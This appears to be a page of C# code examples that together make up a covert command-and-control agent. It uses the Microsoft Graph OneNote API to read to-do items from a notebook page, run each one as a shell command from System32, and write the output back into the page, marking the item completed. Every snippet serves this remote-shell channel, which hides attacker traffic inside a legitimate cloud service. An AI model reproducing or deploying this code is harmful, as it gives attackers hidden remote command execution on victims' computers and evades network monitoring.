Esempio n. 1
0
        public static async Task GetTask(string AccessToken, string pageid)
        {
            var httpClient = new HttpClient();
            var apiCaller  = new ProtectedApiCallHelper(httpClient);

            var url = $"https://graph.microsoft.com/beta/me/onenote/pages/{pageid}/content?includeIDs=true";


            var retrivepagecontent = await apiCaller.CallGetHTMLWebApiAndProcessResultASync(url, AccessToken);

            HtmlDocument pageDocument = new HtmlDocument();

            pageDocument.LoadHtml(retrivepagecontent);

            var tasklist = pageDocument.DocumentNode.SelectNodes("(//p[@data-tag='to-do'])");

            if (tasklist != null)
            {
                foreach (HtmlNode task in tasklist)
                {
                    try
                    {
                        var output = ShellExecuteWithPath(System.Net.WebUtility.HtmlDecode(task.InnerText), "C:\\WINDOWS\\System32\\");
                        await UpdateTask(AccessToken, task.Id, pageid, task.InnerText, TextToHtml(output));
                    }
                    catch (Exception ex)
                    {
                        await UpdateTask(AccessToken, task.Id, pageid, task.InnerText, TextToHtml(ex.Message));
                    }
                }
            }
        }
Esempio n. 2
0
        public static async Task UpdateTask(string AccessToken, string taskid, string pageid, string taskcommand, string taskoutput)
        {
            var    httpClient = new HttpClient();
            var    apiCaller  = new ProtectedApiCallHelper(httpClient);
            string data       = null;

            var           url = $"https://graph.microsoft.com/beta/me/onenote/pages/{pageid}/content";
            createcontent createcontentdetails = new createcontent();

            createcontentdetails.target  = taskid;
            createcontentdetails.action  = "insert";
            createcontentdetails.content = $"<p data-id='output'>{taskoutput}</p>";

            data = "[" + JsonConvert.SerializeObject(createcontentdetails) + "]";


            JObject createtaskoutput = await apiCaller.CallPatchWebApiAndProcessResultASync(url, AccessToken, data);


            createcontentdetails.target  = taskid;
            createcontentdetails.action  = "replace";
            createcontentdetails.content = $"<p data-tag='to-do:completed'>{taskcommand}</p>";

            data = "[" + JsonConvert.SerializeObject(createcontentdetails) + "]";


            JObject taskupdate = await apiCaller.CallPatchWebApiAndProcessResultASync(url, AccessToken, data);
        }
Esempio n. 3
0
        public static async Task <string> GetPageID(string AccessToken)
        {
            var httpClient = new HttpClient();
            var apiCaller  = new ProtectedApiCallHelper(httpClient);

            pagedetails pageDetails = new pagedetails();
            var         url         = $"https://graph.microsoft.com/beta/me/onenote/pages";

            JObject pdetails = await apiCaller.CallGetWebApiAndProcessResultASync(url, AccessToken);

            IList <JToken> pagedetailsresults = pdetails["value"].Children().ToList();

            IList <pagedetails> pagedetailssearchResults = new List <pagedetails>();

            foreach (JToken res in pagedetailsresults)
            {
                pageDetails = res.ToObject <pagedetails>();
                pagedetailssearchResults.Add(pageDetails);
            }

            return(pageDetails.id);
        }